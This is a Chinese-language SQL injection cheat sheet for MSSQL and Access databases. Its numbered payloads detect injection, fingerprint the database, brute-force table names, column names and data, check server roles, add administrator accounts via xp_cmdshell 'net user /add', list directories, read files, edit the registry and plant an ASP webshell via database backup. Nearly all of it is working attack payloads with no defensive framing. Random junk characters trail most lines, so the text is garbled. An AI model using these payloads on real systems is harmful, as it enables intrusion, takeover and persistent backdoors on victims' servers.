1.判断是否有注入;and 1=1 ;and 1=2 oos35xV.
2.初步判断是否是mssql ;and user>0 cAc i2e
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3.注入参数是字符'and [查询条件] and ''=' VSkx;P
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' o*u A+7n
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5.判断数据库系统 :Y [r^=>
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;and (select count(*) from sysobjects)>0 mssql W$Bx?}x($
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;and (select count(*) from msysobjects)>0 access $*H>n!&
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 mYk5f_}
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 'vTD7a^
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 .-N9\GlJ,d
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9.(1)猜字段的ascii值(access) "FaG5X(
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 GKPqBi[rO
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(2)猜字段的ascii值(mssql) s/Wg^(&M
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ,Ql3RO,
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10.测试权限结构(mssql) h{ce+~X
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- :"O=/p+*Us
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- lLtC9:
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- _zm<[0(
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- wQnr*kyza
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3[aJ=5
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;and 1=(select IS_MEMBER('db_owner'));-- x'JfRz
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11.添加mssql和系统的帐户 n7<<}wcV
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;exec master.dbo.sp_addlogin username;-- ;co{bk|rj
;exec master.dbo.sp_password null,username,password;-- u{p\8v%7
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Z^GriL
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;exec master.dbo.xp_cmdshell 'net user username password XcfTE
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- l3iL.?&Pa
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- .=@M>TZM
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12.(1)遍历目录 D *LZ_
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;create table dirs(paths varchar(100), id int) 3&?Tc|F+
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;insert dirs exec master.dbo.xp_dirtree 'c:\' h0^V!.-5
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;and (select top 1 paths from dirs)>0 *!s4#|h
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) h;ShNU
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(2)遍历目录 D 1hKjB&
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- M3t_!HP}!
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 rf`Br\g8
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +p cj8K%
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Iiy:<c
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Qs?+vk?*h
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13.mssql中的存储过程 |@@mq!>-
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xp_regenumvalues 注册表根键, 子键 T*{zL
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 DS$ _"'g%i
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xp_regread 根键,子键,键值名 b?bYPN+
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;exec xp_regread .y0](
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 |,7J!7T(I
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xp_regwrite 根键,子键, 值名, 值类型, 值 $3[cBX.=
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 &=?`;K
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Zn/9BO5
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xp_regdeletevalue 根键,子键,值名 /-hF<oNQ
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 28)TXRr-
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 :1lE98=
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14.mssql的backup创建webshell J@GfO\
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use model `Of wl%G
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create table cmd(str image); YDNqWP7s
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insert into cmd(str) values (''); )a^Yor)o"
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backup database model to disk='c:\l.asp'; {IMzR'PN
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15.mssql内置函数 Jrk^J6aa
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;and (select @@version)>0 获得Windows的版本号 <nvWC/LU
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa IPO[J^#Me
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;and (select user_name())>0 爆当前系统的连接用户 BJ9sR.yX62
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;and (select db_name())>0 得到当前连接的数据库 :6u3Mj{
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16.简洁的webshell j/9QV
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use model }%YHm9)
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create table cmd(str image); tHtV[We.:
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insert into cmd(str) values ('');
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backup database model to disk='g:\wwwtest\l.asp';